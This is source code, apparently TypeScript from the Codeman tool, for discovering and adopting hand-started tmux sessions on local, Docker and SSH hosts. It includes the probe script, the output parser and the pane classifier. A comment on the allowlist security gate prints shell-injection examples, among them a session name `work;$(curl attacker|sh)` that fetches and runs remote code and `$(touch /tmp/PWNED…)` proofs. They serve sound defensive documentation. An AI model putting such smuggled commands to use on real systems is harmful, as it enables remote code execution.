// ===========================================================================
let localCache: { at: number; result: ForeignDiscoveryResult } | null = null;
let localInFlight: Promise<ForeignDiscoveryResult> | null = null;
/**
* Scan this host. TTL-cached and single-flight, because this is the one location
* the home screen polls on its own.
*/
export async function discoverLocalForeign(force = false): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const now = Date.now();
if (!force && localCache && now - localCache.at < FOREIGN_CACHE_TTL_MS) return localCache.result;
if (localInFlight) return localInFlight;
localInFlight = (async (): Promise<ForeignDiscoveryResult> => {
const notes: string[] = [];
let sessions: ForeignTmuxSession[] = [];
try {
// argv array: no outer shell, so the script's own `$TMUX_TMPDIR`/`$(id -u)`
// reach the inner sh intact (see @fileoverview).
const run = await runForeignProbe(['sh', '-c', buildForeignProbeScript()]);
sessions = candidatesFrom(run.stdout, 'local', 'local', {}, 'local', notes);
if (!run.ok) notes.push(probeFailureNote('local', run, 'tmux probe produced no result'));
} catch {
// The probe answers rather than throws, so this is the classifier. "Nothing to
// adopt here" is the only honest answer and it is never an error to the caller.
notes.push('local: tmux probe produced no result');
}
const result: ForeignDiscoveryResult = { sessions, scannedAt: Date.now(), notes };
localCache = { at: Date.now(), result };
return result;
})().finally(() => {
localInFlight = null;
});
return localInFlight;
}
/** Drop the local cache so the next scan is real (used right after an adopt). */
export function invalidateForeignCache(): void {
localCache = null;
}
// ===========================================================================
// Docker
// ===========================================================================
/** Connection facts for one adoptable container, resolved from the registries. */
export interface DockerTargetInfo {
hostId: string;
label: string;
containerName: string;
base: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>;
}
function dockerTargets(cases: DockerCase[], hosts: DockerHost[]): DockerTargetInfo[] {
const byId = new Map(hosts.map((h) => [h.id, h]));
const out: DockerTargetInfo[] = [];
const seen = new Set<string>();
for (const c of cases) {
const container = c.container || `codeman-case-${c.name}`;
// Per engine, not global: two daemons can each run a container of one name,
// and collapsing them here would leave the second one unscanned.
const key = `${c.hostId}\u0000${container}`;
if (seen.has(key)) continue;
seen.add(key);
const host = byId.get(c.hostId);
out.push({
hostId: c.hostId,
label: host?.label || c.name,
containerName: container,
base: {
engine: host?.engine ?? 'docker',
context: host?.context,
daemonHost: host?.daemonHost,
},
});
}
return out;
}
/**
* The argv of one in-container probe.
*
* ⚠️ `dockerEngineArgv`, never `buildDockerBaseArgs`, whose `--context` and `-H`
* values are shell-quoted for the launch string. `execFile` passes those quotes
* through literally, so `docker --context "'default'"` answered "context not found"
* and every container behind a named context or a remote daemon read as unreachable.
*/
export function foreignDockerProbeArgv(target: DockerTargetInfo): string[] {
return [...dockerEngineArgv(target.base), 'exec', target.containerName, 'sh', '-lc', buildForeignProbeScript()];
}
/**
* Scan the containers behind the caller's docker cases. On demand only.
*
* Read-only by construction: one `docker exec` running the probe. Never inspects
* lifecycle, never starts anything: a stopped or missing container simply
* contributes a note, mirroring `probeAdoptableContainer`'s "engine unreachable
* degrades to an empty list" rule.
*/
export async function discoverDockerForeign(cases: DockerCase[]): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const hosts = await readDockerHosts(getDataDir()).catch(() => [] as DockerHost[]);
const targets = dockerTargets(cases, hosts);
const notes: string[] = [];
const sessions: ForeignTmuxSession[] = [];
await Promise.all(
targets.map(async (t) => {
const where = `docker ${t.containerName}`;
try {
const run = await runForeignProbe(foreignDockerProbeArgv(t));
sessions.push(
...candidatesFrom(
run.stdout,
'docker',
`${t.hostId} ${t.containerName}`,
{ hostId: t.hostId, hostLabel: t.label, containerName: t.containerName },
where,
notes
)
);
if (!run.ok) notes.push(probeFailureNote(where, run, 'not running, no tmux, or engine unreachable'));
} catch {
notes.push(`${where}: not running, no tmux, or engine unreachable`);
}
})
);
return { sessions, scannedAt: Date.now(), notes };
}
// ===========================================================================
// Remote
// ===========================================================================
/**
* The ssh command line of one remote probe.
*
* `exec` so a timeout kill reaches ssh itself, not only the local `sh -c` around it.
*/
export function foreignRemoteProbeCommand(host: RemoteHost): string {
return [
'exec',
...buildSshConnectionArgs(host),
remoteSshTarget(host),
shellescape(foreignRemoteShellCommand(buildForeignProbeScript())),
].join(' ');
}
/**
* Scan saved ssh hosts. On demand only: this is the expensive one.
*
* ⚠️ The ssh command is a STRING (as every ssh call in this codebase is), so the
* probe crosses one extra shell and must be single-quoted. `shellescape` does
* that, and `buildForeignProbeScript()` is single-quote-free precisely so the
* escaping stays a wrap rather than a rewrite.
*
* Each host holds a slot of the shared remote-ssh limiter: one saved host per
* connection, all at once, is the burst OpenSSH's `MaxStartups` starts dropping.
* A host that waits too long for a slot reads as unreachable this round.
*/
export async function discoverRemoteForeign(hosts: RemoteHost[]): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const notes: string[] = [];
const sessions: ForeignTmuxSession[] = [];
await Promise.all(
hosts.map(async (host) => {
const where = `remote ${host.label}`;
try {
const run = await runWithRemoteSshLimit(() => runForeignProbe(['sh', '-c', foreignRemoteProbeCommand(host)]), {
maxWaitMs: FOREIGN_PROBE_TIMEOUT_MS,
});
sessions.push(
...candidatesFrom(run.stdout, 'remote', host.id, { hostId: host.id, hostLabel: host.label }, where, notes)
);
if (!run.ok) notes.push(probeFailureNote(where, run, 'unreachable, or no tmux'));
} catch {
notes.push(`${where}: unreachable, or no tmux`);
}
})
);
return { sessions, scannedAt: Date.now(), notes };
}
// ===========================================================================
// Facade
// ===========================================================================
export interface ForeignDiscoveryRequest {
/** Always scanned (cheap, cached). */
local?: boolean;
/** Docker cases the CALLER may see; ownership filtering happens in the route. */
dockerCases?: DockerCase[];
/** Remote hosts the CALLER may see. */
remoteHosts?: RemoteHost[];
/** Skip the local TTL cache. */
force?: boolean;
}
/**
* One scan across the requested locations. Merges notes, never throws.
*
* The caller supplies the docker cases and remote hosts rather than this module
* reading the registries itself: which of them a user may see is an ownership
* question, and ownership belongs to the route layer.
*/
export async function discoverForeignSessions(req: ForeignDiscoveryRequest): Promise<ForeignDiscoveryResult> {
const parts: ForeignDiscoveryResult[] = [];
if (req.local !== false) parts.push(await discoverLocalForeign(req.force));
if (req.dockerCases?.length) parts.push(await discoverDockerForeign(req.dockerCases));
if (req.remoteHosts?.length) parts.push(await discoverRemoteForeign(req.remoteHosts));
return {
sessions: parts.flatMap((p) => p.sessions),
scannedAt: parts.length ? Math.max(...parts.map((p) => p.scannedAt)) : Date.now(),
notes: parts.flatMap((p) => p.notes),
};
}
/** Re-read the caller-visible docker cases, for routes that only hold a username. */
export async function readAllDockerCases(): Promise<DockerCase[]> {
return readDockerCases(getDataDir()).catch(() => [] as DockerCase[]);
}
/** Re-read the saved remote hosts. */
export async function readAllRemoteHosts(): Promise<RemoteHost[]> {
return readRemoteHosts(getDataDir()).catch(() => [] as RemoteHost[]);
}
+902
View File
@@ -0,0 +1,902 @@
/**
* @fileoverview Pure core for FOREIGN tmux sessions, the ones a human started
* by hand, which Codeman neither created nor owns.
*
* Everything here is a string in / structure out, so all three locations (local,
* inside a container, across ssh) go through ONE probe script, ONE parser and ONE
* classifier. Writing a second copy per location is exactly how the two would
* drift into disagreeing about what a session is.
*
* ## Why the probe script is dumb
*
* It runs two commands and prints them: `tmux list-panes` per socket, and one
* `ps` snapshot. No filtering, no logic. All judgement happens in Node, where it
* is pure and unit-testable, instead of in a shell string that is embedded three
* different ways and can only be debugged against a real host.
*
* The one thing the script does decide is whether a server is safe to ask, because
* only the script can. A tmux server that stopped answering holds its client
* forever, and from outside a container or across ssh no signal reaches that
* client: a timeout kills `docker exec` or `ssh`, never what they started. So each
* server gets a bounded ping first, and one that misses it costs its own rows and
* a `CMFH` line, not the whole scan.
*
* ⚠️ The ping exists because a watchdog around `list-panes` cannot work. A tmux
* client hands dups of its stdout to the server, so a stopped server keeps our
* stdout pipe open after the client is dead (measured: SIGTERM ended the client at
* once and no EOF came in the 2.5 s that were watched, while the server stayed
* stopped). Nothing reading that pipe can finish, and the same hold would keep
* `docker exec` and `ssh` waiting on it. The ping's stdout is /dev/null, so only a
* server that just answered ever gets the real one.
*
* ⚠️ The script MUST NOT contain a single quote. It is wrapped in single quotes
* to cross `ssh <host> '<script>'` and `docker exec <c> sh -lc '<script>'`. That
* is the single-quote dual of the "no double quotes in the docker launch chain"
* rule in `tmux-manager.ts`: same class of bug, opposite quote.
*
* ## Why the mode comes from the process tree
*
* `#{pane_current_command}` is `node` for BOTH claude and codex, so it cannot
* distinguish them. The classifier walks the pane's descendants over the `ps`
* snapshot with `collectDescendants` (bounded: one snapshot, no per-node spawn,
* see proc-tree.ts for the incident that rule exists for) and matches argv. What
* it cannot identify is `shell`, which is also the honest answer for the case
* this feature was built for: a hand-opened shell.
*
* ## Why attaching means creating a grouped session
*
* A grouped session (`new-session -t <target>`) shares the target's WINDOWS but
* is its own session, so our `status off` and our current-window selection land
* on us alone. A bare `attach` would have to set those on the owner's session,
* i.e. mutate something we do not own. `destroy-unattached on` then makes our
* view evaporate when the wrapper pane dies (measured: it does).
*
* ⚠️ The group session must be created ATTACHED (no `-d`). tmux's
* `server_check_unattached()` runs every server loop, so a detached session with
* `destroy-unattached on` is torn down almost immediately: the option has to
* land on a session that already has our client on it.
*
* ⚠️ **Grouping does NOT give us an independent window SIZE, and believing it did
* was wrong.** Measured on tmux 3.3a against a target held open by a 200x49
* client, with our client at 80x24:
*
* bare attach -> target becomes 80x23
* grouped session -> target becomes 80x23 (same!)
* grouped + `window-size largest` -> target stays 200x49
*
* A window is one object with one size; a group shares the object. So attaching
* from Codeman resizes a session someone else is actively viewing, exactly like
* any second tmux client does: that is tmux's normal behavior, and it reverses
* when we detach.
*
* `window-size largest` is deliberately NOT set here. It is a WINDOW option on a
* SHARED window, so it survives our detach (measured: still `largest` after our
* view is gone): it would permanently rewrite the owner's configuration to buy
* a cropped view for us. Restoring it would need the previous value captured with
* `$(...)`, and this string carries no command substitution. It reaches `bash -c`
* verbatim now (`bashCArg()`), but it crossed `bash -c "..."` for a long time, where
* the OUTER shell expanded it first. That is the same rule the docker launch chain
* states as "no command substitution", and the same trap that silently emptied
* `$TMUX_TMPDIR` while this probe was developed.
* A user who wants the crop instead of the resize can set `window-size largest`
* on their own session, which is theirs to set.
*
* @module foreign-tmux
*/
import { collectDescendants } from './proc-tree.js';
import { listClis } from './config/cli-registry/registry.js';
import { withRemoteTmuxPath } from './remote-hosts.js';
import {
FOREIGN_MAX_ARGV_CHARS,
FOREIGN_MAX_PANES,
FOREIGN_MAX_PROCS,
FOREIGN_SOCKET_TIMEOUT_SECONDS,
} from './config/foreign-tmux.js';
import type { ForeignPaneProbe, ForeignTmuxLocationKind } from './types/foreign-tmux.js';
import type { SessionAdopt, SessionMode } from './types/session.js';
// ===========================================================================
// Probe script
// ===========================================================================
/**
* Field separator. tmux's `-F` does NOT expand a backslash-t escape: it emits the
* LITERAL two characters (verified on next-3.7, the same finding that shaped
* `parseRemoteSessionList` in remote-hosts.ts). The parser accepts a real TAB too,
* in case some build does expand it.
*/
const SEP = '\\t';
const SEP_SPLIT = /\\t|\t/;
const REJOIN = '\t';
const PANE_MARKER = 'CMFP';
const PROC_MARKER = 'CMFQ';
const SOCKET_MARKER = 'CMFS';
const HUNG_MARKER = 'CMFH';
/**
* The probe, as POSIX sh. NO SINGLE QUOTES (see @fileoverview).
*
* Emits, in order:
* CMFS<sep><socket path> (one per readable socket)
* CMFP<sep><socket><sep>...<sep>name<sep>path (one per pane on that socket)
* CMFH<sep><socket path> (a server that did not answer)
* CMFQ (marker; ps rows follow)
* <pid> <ppid> <argv...>
*
* The two free-form fields (session name, pane path) are LAST so a separator
* inside one of them can be re-joined by position instead of corrupting the row.
*/
export function buildForeignProbeScript(): string {
const fmt = [
PANE_MARKER,
'#{socket_path}',
'#{pane_pid}',
'#{window_index}',
'#{session_windows}',
'#{session_created}',
'#{session_attached}',
'#{pane_id}',
'#{pane_current_command}',
'#{session_name}',
'#{pane_current_path}',
].join(SEP);
// `ps -eo` covers procps and macOS; `ps ax -o` is the BSD-ish fallback. If both
// fail we still emit the pane rows, and classification degrades to the pane
// command, which still names a plain shell correctly.
// ⚠️ No `set -f` here: the socket sweep IS a glob, and disabling pathname
// expansion turns the loop into a single literal non-match. ⚠️ The marker line
// must NOT try to carry the field separator at all. Measured: `sh`'s builtin
// `echo` EXPANDS a backslash-t to a real TAB, while tmux's own `-F` emits the
// two literal characters, so the same escape means two different things two
// lines apart. The socket line is space-separated instead (marker first, rest
// of line is the path), which no shell rewrites.
//
// Only `$TMUX_TMPDIR/tmux-<uid>/` is swept, which covers every `tmux -L <name>`
// server (that is exactly where tmux puts them). A socket at an arbitrary
// `tmux -S /custom/path` is deliberately out of scope: finding it would mean
// walking the filesystem for sockets.
//
// `-u` because a POSIX locale otherwise rewrites every non-ASCII byte tmux prints
// to `_` (measured in a container: session `会话` listed as `____`), and a name
// read wrong is a name the guard then cannot find.
//
// The ping (see @fileoverview) runs in the background beside a watchdog, the POSIX
// spelling of `timeout`, which macOS does not ship. A stale socket answers at once
// with status 1 and is skipped, so the ping costs a live server one extra spawn and
// a dead one none. `has-session` cannot start a server on a stale socket.
// ⚠️ The watchdog says it fired with its own exit status, 7: a tmux client ended by
// SIGTERM exits 0 (measured), so the ping's status cannot tell. It prints the marker
// BEFORE the kill and the loop reaps it, or the line could land after `CMFQ` and
// parse as a process row. The `trap` ends the `sleep` with it, so a scan does not
// leave one behind per socket. `\$Z` is for the trap to expand: it is set before Z
// exists, so a socket that answers at once wins that race.
const watchdog =
`( trap "kill \\$Z 2>/dev/null; exit" TERM; sleep ${FOREIGN_SOCKET_TIMEOUT_SECONDS} >/dev/null 2>&1 & Z=$!; ` +
`wait $Z && { echo "${HUNG_MARKER} $S"; kill $P; exit 7; } ) & W=$!`;
const ping =
`tmux -S "$S" has-session >/dev/null 2>&1 & P=$!; ${watchdog}; ` +
'wait $P; R=$?; kill $W 2>/dev/null; wait $W 2>/dev/null; [ $? -ne 7 ] && [ $R -eq 0 ] || continue';
return [
'TD=${TMUX_TMPDIR:-/tmp}',
'U=$(id -u 2>/dev/null || echo 0)',
`for S in $TD/tmux-$U/*; do [ -S "$S" ] || continue; echo "${SOCKET_MARKER} $S"; ${ping}; ` +
`tmux -u -S "$S" list-panes -a -F "${fmt}" 2>/dev/null; done`,
`echo ${PROC_MARKER}`,
'ps -eo pid=,ppid=,args= 2>/dev/null || ps ax -o pid=,ppid=,args= 2>/dev/null || true',
].join('; ');
}
// ===========================================================================
// Parsing
// ===========================================================================
export interface ForeignProbeOutput {
panes: ForeignPaneProbe[];
/** parent pid to child pids, from the ONE `ps` snapshot (proc-tree input). */
byParent: Map<number, number[]>;
/** pid to full argv line. */
argvByPid: Map<number, string>;
/** Sockets seen, in scan order (may exceed the pane list when a socket is empty). */
sockets: string[];
/** Sockets whose server missed the per-socket bound, so their rows are absent. */
hungSockets: string[];
}
/**
* Parse one probe's stdout. Never throws: a malformed row is skipped, not fatal.
*
* ⚠️ Runs synchronously on the server's event loop over text a process in a pane, a
* container or an ssh host wrote, so nothing here may cost more than linear time in it:
* the row caps do not help when one row is the whole 2 MiB.
*/
export function parseForeignProbeOutput(stdout: string): ForeignProbeOutput {
const panes: ForeignPaneProbe[] = [];
const sockets = new Set<string>();
const hungSockets: string[] = [];
const byParent = new Map<number, number[]>();
const argvByPid = new Map<number, string>();
if (!stdout) return { panes, byParent, argvByPid, sockets: [], hungSockets };
let inProcs = false;
let procCount = 0;
for (const raw of stdout.split('\n')) {
const line = raw.replace(/\r$/, '');
if (!line) continue;
if (!inProcs && line === PROC_MARKER) {
inProcs = true;
continue;
}
if (inProcs) {
if (procCount >= FOREIGN_MAX_PROCS) continue;
// `<pid> <ppid> <argv...>`: leading spaces are how `ps -o pid=` pads.
// ⚠️ `s`, so `.*$` cannot fail: without it a bare CR in an argv stopped the `.`, and
// `\s+` handed its spaces back one at a time, quadratic in a row this long.
const m = /^\s*(\d+)\s+(\d+)\s+(.*)$/s.exec(line);
if (!m) continue;
const pid = Number(m[1]);
const ppid = Number(m[2]);
if (!Number.isSafeInteger(pid) || !Number.isSafeInteger(ppid)) continue;
procCount += 1;
argvByPid.set(pid, (m[3] ?? '').slice(0, FOREIGN_MAX_ARGV_CHARS));
const siblings = byParent.get(ppid);
if (siblings) siblings.push(pid);
else byParent.set(ppid, [pid]);
continue;
}
if (line.startsWith(`${SOCKET_MARKER} `)) {
const sock = line.slice(SOCKET_MARKER.length + 1);
if (sock) sockets.add(sock);
continue;
}
if (line.startsWith(`${HUNG_MARKER} `)) {
hungSockets.push(line.slice(HUNG_MARKER.length + 1));
continue;
}
const fields = line.split(SEP_SPLIT);
if (fields[0] !== PANE_MARKER) continue;
if (panes.length >= FOREIGN_MAX_PANES) continue;
// 11 fields: marker + 8 fixed + name + path. A separator inside the NAME
// pushes extras into the middle, so the path is taken from the END and the
// name is whatever sits between the fixed prefix and it.
if (fields.length < 11) continue;
const panePid = Number(fields[2]);
const windowIndex = Number(fields[3]);
const windows = Number(fields[4]);
const created = Number(fields[5]);
if (!Number.isSafeInteger(panePid) || panePid <= 0) continue;
const paneCurrentPath = fields[fields.length - 1] ?? '';
const sessionName = fields.slice(9, fields.length - 1).join(REJOIN);
if (!sessionName) continue;
panes.push({
socketPath: fields[1] ?? '',
sessionName,
windowIndex: Number.isSafeInteger(windowIndex) ? windowIndex : 0,
paneId: fields[7] ?? '',
panePid,
paneCurrentCommand: (fields[8] ?? '').slice(0, FOREIGN_MAX_ARGV_CHARS),
paneCurrentPath,
sessionAttached: fields[6] === '1',
sessionCreated: Number.isSafeInteger(created) && created > 0 ? created : 0,
windows: Number.isSafeInteger(windows) && windows > 0 ? windows : 1,
});
}
return { panes, byParent, argvByPid, sockets: [...sockets], hungSockets };
}
// ===========================================================================
// Classification
// ===========================================================================
/**
* argv signatures, derived from the registry rather than written here.
*
* Matched against the WHOLE argv of a pane descendant, so `node .../bin/claude`
* hits the claude rule via the path. The binary names come from each entry's
* `discovery.binaries`, the one place that already knows a mode name is NOT
* always a binary name (`antigravity` runs `agy`). The hand-written table this
* replaces keyed on CLI ids, which CLAUDE.md forbids outside `stock.ts`, and it
* had already fallen behind: `omp` was missing, so a hand-started omp pane read
* as a plain shell.
*
* Resolved at CALL time, never into a module-level const: a CLI enabled (or a
* custom entry added) at runtime must be recognised without a restart.
*
* ⚠️ Longest name first. `pi` is two characters and its "command itself" form
* would otherwise be tried before `opencode`'s; length order is what keeps a
* short generic name from claiming a pane that belongs to a longer one.
*
* ⚠️ Names are regex-ESCAPED. They reach here from `~/.codeman/clis.json`, and
* while the schema's SHELL_TOKEN already refuses the dangerous shapes, building
* a pattern out of an unescaped foreign string is how a config value turns into
* a regex. Escaping means the worst a bad name can do is match nothing.
*
* ⚠️ Keep these free of unbounded tails, since each one runs over someone else's argv on
* the event loop. The node launcher shape needs one, so it lives in `launcherPrefixes()`
* and `launcherDir` only has to name the directory.
*/
export function foreignCliSignatures(): ReadonlyArray<{ mode: SessionMode; test: RegExp; launcherDir: RegExp }> {
const seen = new Set<string>();
const out: { mode: SessionMode; test: RegExp; launcherDir: RegExp }[] = [];
// `listClis()`, not `enabledClis()`: classification is a description of what is
// ALREADY running in someone else's pane, not a decision to launch anything.
// A disabled CLI still deserves its real name on the row.
const named: { mode: SessionMode; name: string }[] = [];
for (const entry of listClis()) {
// ⚠️ Stock entries only, and this is a `stock` check rather than an id check
// on purpose: `SessionMode` is the CLOSED union of the stock ids, so a custom
// entry has no SessionMode to be. Letting one through would put a value the
// union does not contain on `SessionState.mode`. A custom CLI's pane falls to
// the `shell` answer below, which is the honest one: Codeman has no name for
// it, and an adopted wrapper runs `attach` either way.
if (!entry.stock) continue;
for (const binary of entry.discovery.binaries) {
// `shell` declares none, which is right: it is the FALLBACK answer, never a
// signature match.
if (!binary || seen.has(binary)) continue;
seen.add(binary);
named.push({ mode: entry.id as SessionMode, name: binary });
}
}
named.sort((a, b) => b.name.length - a.name.length);
for (const { mode, name } of named) {
const n = escapeRegExp(name);
out.push({
mode,
// the command itself · a `bin/` path
test: new RegExp(`(^|[/\\\\])${n}(\\s|$)|[/\\\\]bin[/\\\\]${n}\\b`),
// a node launcher under the CLI's own dot-directory (`~/.claude/local/.../cli.js`)
launcherDir: new RegExp(`[/\\\\]\\.?${n}[/\\\\]`),
});
}
return out;
}
function escapeRegExp(value: string): string {
return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
/** Commands that mean "this is a plain shell", not an unidentified agent. */
const SHELL_COMMANDS = new Set([
'bash',
'sh',
'zsh',
'fish',
'dash',
'ksh',
'tcsh',
'csh',
'ash',
'busybox',
'login',
'-bash',
'-zsh',
'-sh',
]);
export interface ClassifiedPane {
mode: SessionMode;
/** The argv line the decision came from, truncated for display. */
command: string;
}
const COMMAND_DISPLAY_MAX = 160;
/**
* Decide what a pane is running.
*
* Order matters: the pane's own command is checked against the CLI signatures
* first (a pane running `claude` directly is unambiguous and needs no walk), then
* the bounded descendant walk, and only then the shell fallback. The walk is what
* separates claude from codex, since tmux reports `node` for both.
*/
export function classifyForeignPaneMode(
pane: Pick<ForeignPaneProbe, 'panePid' | 'paneCurrentCommand'>,
probe: Pick<ForeignProbeOutput, 'byParent' | 'argvByPid'>,
match: ForeignSignatureMatcher = createForeignSignatureMatcher()
): ClassifiedPane {
const own = probe.argvByPid.get(pane.panePid) ?? pane.paneCurrentCommand;
const direct = match(own);
if (direct) return { mode: direct, command: truncate(own) };
// ⚠️ Report truncation. A walk that stopped at a cap returns "nothing matched",
// which is byte-identical to the answer for a real shell: without this line a
// deep or wide tree silently downgrades an agent pane to `shell` and there is
// nothing anywhere to tell the two apart.
const descendants = collectDescendants(pane.panePid, probe.byParent, {
onTruncated: (root, cap, reason) =>
console.warn(`[foreign-tmux] descendant walk for ${root} hit the ${cap}-${reason} cap; truncating`),
});
for (const pid of descendants) {
const argv = probe.argvByPid.get(pid);
if (!argv) continue;
const hit = match(argv);
if (hit) return { mode: hit, command: truncate(argv) };
}
// tmux's own answer is the last signal worth trying: `#{pane_current_command}`
// is the pane's FOREGROUND process, whereas `pane_pid` is the shell hosting it,
// so this catches an agent whose process tree was unreadable (no `ps` on the
// host) or deeper than the walk's cap.
const fromTmux = match(pane.paneCurrentCommand);
if (fromTmux) return { mode: fromTmux, command: truncate(pane.paneCurrentCommand) };
// Nothing recognised. `shell` is the honest answer AND the primary case this
// feature exists for; the raw command travels alongside so the UI can show what
// is actually running rather than asserting a mode it did not verify.
return { mode: 'shell', command: truncate(own || pane.paneCurrentCommand) };
}
export type ForeignSignatureMatcher = (argv: string) => SessionMode | null;
/**
* One scan's answer to "which CLI is this argv?".
*
* ⚠️ Scoped to a scan, because this is the cost no row cap bounds. A pane's walk reads up
* to PROC_WALK_MAX_NODES rows and every pane of a hostile host can claim the same tree, so
* the walks repeat one set of rows FOREIGN_MAX_PANES times. Building the regexes once and
* asking about each distinct argv once ties the work to the bytes the probe really carried.
*/
export function createForeignSignatureMatcher(): ForeignSignatureMatcher {
const signatures = foreignCliSignatures();
const answers = new Map<string, SessionMode | null>();
return (argv) => {
let answer = answers.get(argv);
if (answer === undefined) {
answer = matchSignature(argv, signatures);
answers.set(argv, answer);
}
return answer;
};
}
function matchSignature(argv: string, signatures: ReturnType<typeof foreignCliSignatures>): SessionMode | null {
if (!argv) return null;
const base = basenameOf(argv);
if (SHELL_COMMANDS.has(base)) return null;
const launchers = launcherPrefixes(argv);
for (const sig of signatures) {
if (sig.test.test(argv) || launchers.some((prefix) => sig.launcherDir.test(prefix))) return sig.mode;
}
return null;
}
/**
* What comes before the last `cli.js` of each word, which is where a CLI's own directory
* has to be for that word to be its node launcher.
*
* ⚠️ A scan rather than a `[^\s]*cli\.js` tail on the signature. That tail was retried from
* every `/pi/` in an argv, which is quadratic in someone else's text: 4.6 s of event loop
* for a 128 KiB argv. A bounded tail only shrinks the constant, and a scan pays it per row.
*/
function launcherPrefixes(argv: string): string[] {
const prefixes: string[] = [];
for (const word of argv.split(/\s+/)) {
const end = word.lastIndexOf('cli.js');
if (end > 0) prefixes.push(word.slice(0, end));
}
return prefixes;
}
function basenameOf(argv: string): string {
const first = argv.trim().split(/\s+/)[0] ?? '';
const slash = first.lastIndexOf('/');
return slash >= 0 ? first.slice(slash + 1) : first;
}
function truncate(s: string): string {
const flat = s.replace(/\s+/g, ' ').trim();
return flat.length > COMMAND_DISPLAY_MAX ? `${flat.slice(0, COMMAND_DISPLAY_MAX - 1)}...` : flat;
}
// ===========================================================================
// Exclusion: never adopt what Codeman already owns
// ===========================================================================
/** tmux servers Codeman runs itself. Sessions on these are never "foreign". */
const CODEMAN_SOCKET_BASENAMES = new Set(['codeman', 'codeman-remote', 'codeman-docker']);
/** Session names Codeman mints. */
const CODEMAN_SESSION_PREFIXES = ['codeman-', 'claudeman-'];
/**
* Is this pane one of Codeman's own, at any location?
*
* Excluding them is not cosmetic. Locally it stops Codeman from adopting its own
* sessions (which would attach a second PTY to a live pane). On a remote host or
* inside a container it stops the SAME session from being reachable through two
* different code paths: `remote-hosts.listRemoteCodemanSessions` already owns
* the `tmux -L codeman` case there, and two paths to one session is how the two
* end up disagreeing about ownership.
*
* @param ownSocket this instance's own socket name (`resolveTmuxSocketName()`),
* which is instance-scoped and therefore not a constant.
*/
export function isCodemanOwnedPane(
pane: Pick<ForeignPaneProbe, 'socketPath' | 'sessionName'>,
ownSocket: string
): boolean {
const socketName = basenameOf(pane.socketPath);
if (socketName === ownSocket) return true;
if (CODEMAN_SOCKET_BASENAMES.has(socketName)) return true;
// A `codeman-<instance>` socket belongs to another Codeman instance even when
// THIS instance runs on a different one.
if (socketName.startsWith('codeman-')) return true;
return CODEMAN_SESSION_PREFIXES.some((p) => pane.sessionName.startsWith(p));
}
// ===========================================================================
// Adoptability: what may cross the launch chain at all
// ===========================================================================
/**
* Characters a foreign session name or socket path may contain to be adoptable.
*
* ⚠️ This is a SECURITY GATE, not tidiness, and it is an ALLOWLIST because the
* blocklist version of it is one forgotten character away from a shell.
*
* A foreign session name is chosen by SOMEONE ELSE, and it would cross several
* shells on the way to tmux: the local `sh` and `bash -c` at `respawn-pane`, then
* `sh -lc` in a container, or the login shell and `sh -c` over ssh. The launch reaches
* `bash -c` single-quoted now (`bashCArg()`), which closes the first of those, and the
* gate stays as defense in depth for the rest. It was written against the double-quoted
* form, `execSync(`… bash -c ${JSON.stringify(launchCmd)}`)`, and that is the shape of
* the mistake it stops. `JSON.stringify` escapes `"` and `\` (it does NOT escape `$` or
* a backtick) and the outer shell parses that string with those still live inside its
* double quotes. The inner single quotes this module adds do not help: the outer shell
* substitutes first. Measured directly:
*
* launchCmd = `: 'x$(touch /tmp/PWNED2)`touch /tmp/PWNED3`'`
* execSync(`bash -c ${JSON.stringify(launchCmd)}`) -> BOTH files created
*
* So a session called `work;$(curl attacker|sh)` sitting on the default socket
* would run as the Codeman server account the moment someone clicked Open. The
* name never reaches a command at all now: a candidate that fails this test is
* dropped during discovery, so it has no id, and the adopt endpoint re-resolves
* through that same discovery and can only 404.
*
* Generous on purpose about what real names contain (Unicode letters, digits,
* marks, spaces, and the punctuation people actually use), because a refusal
* here is a session the user cannot open at all.
*/
const ADOPTABLE_TEXT = /^[\p{L}\p{N}\p{M} _.+=@#%,~^!/-]+$/u;
/**
* Names `new-session -t` reads as target syntax instead of as a name.
*
* ⚠️ The guard's `has-session -t '=<name>'` looks up by name, the join does not, so
* these pass the guard and then join something else. Measured on tmux 3.4: `@1` and
* `%1` joined the session holding that window or pane, and input typed in the tab
* reached it; `=eq`, `@zz`, `%zz`, `~` and a bare `=` made a new group with a fresh
* shell on the foreign server. `~foo` and `! + - ^` joined their own windows, so a
* plain first-character rule would refuse them for nothing.
*/
const TMUX_TARGET_SYNTAX = /^[=@%]|^~$/;
/** Same rule, plus the path separator and no `..` climbing. */
export function isAdoptableSocketPath(socketPath: string): boolean {
if (!socketPath || socketPath.length > 4096) return false;
if (!socketPath.startsWith('/')) return false;
if (socketPath.includes('..')) return false;
return ADOPTABLE_TEXT.test(socketPath);
}
/** True when this session name can cross the launch chain safely. */
export function isAdoptableSessionName(sessionName: string): boolean {
if (!sessionName || sessionName.length > 256) return false;
if (TMUX_TARGET_SYNTAX.test(sessionName)) return false;
return ADOPTABLE_TEXT.test(sessionName);
}
// ===========================================================================
// Identity
// ===========================================================================
/**
* Stable, opaque id for a candidate. The browser sends this back to adopt, so it
* must survive a re-scan (same session gets the same id) without the browser ever
* handing us a socket path or session name to interpolate into a command.
*/
export function foreignSessionId(
location: ForeignTmuxLocationKind,
hostKey: string,
socketPath: string,
sessionName: string
): string {
return `f${fnv1a(`${location} ${hostKey} ${socketPath} ${sessionName}`)}`;
}
/**
* What names one foreign tmux session across every location Codeman can reach.
* A socket path and a session name are not enough on their own: a socket path is
* only meaningful INSIDE its location. Containers commonly run tmux as root
* (`/tmp/tmux-0/default`) with default names `0`, `1`, so session `0` in two
* containers is the same pair, and so is the same name on this machine and on an
* ssh host with the same uid.
*
* A `ForeignTmuxSession` candidate is one of these as it stands. A wrapper's
* `SessionAdopt` is turned into one by `adoptTargetIdentity()`.
*/
export interface ForeignTargetIdentity {
location: ForeignTmuxLocationKind;
/** Registry id of the docker or remote host. Absent for local. */
hostId?: string;
/** The container (`location === 'docker'`), which is only unique per engine, hence beside `hostId`. */
containerName?: string;
socketPath: string;
sessionName: string;
}
/**
* The ONE key that decides "is this foreign session already wrapped?". The adopt
* route's one-wrapper-per-target check and the listing's `adoptedBy` both read it;
* two keys are how a row ends up offering a tab that belongs to another location.
*
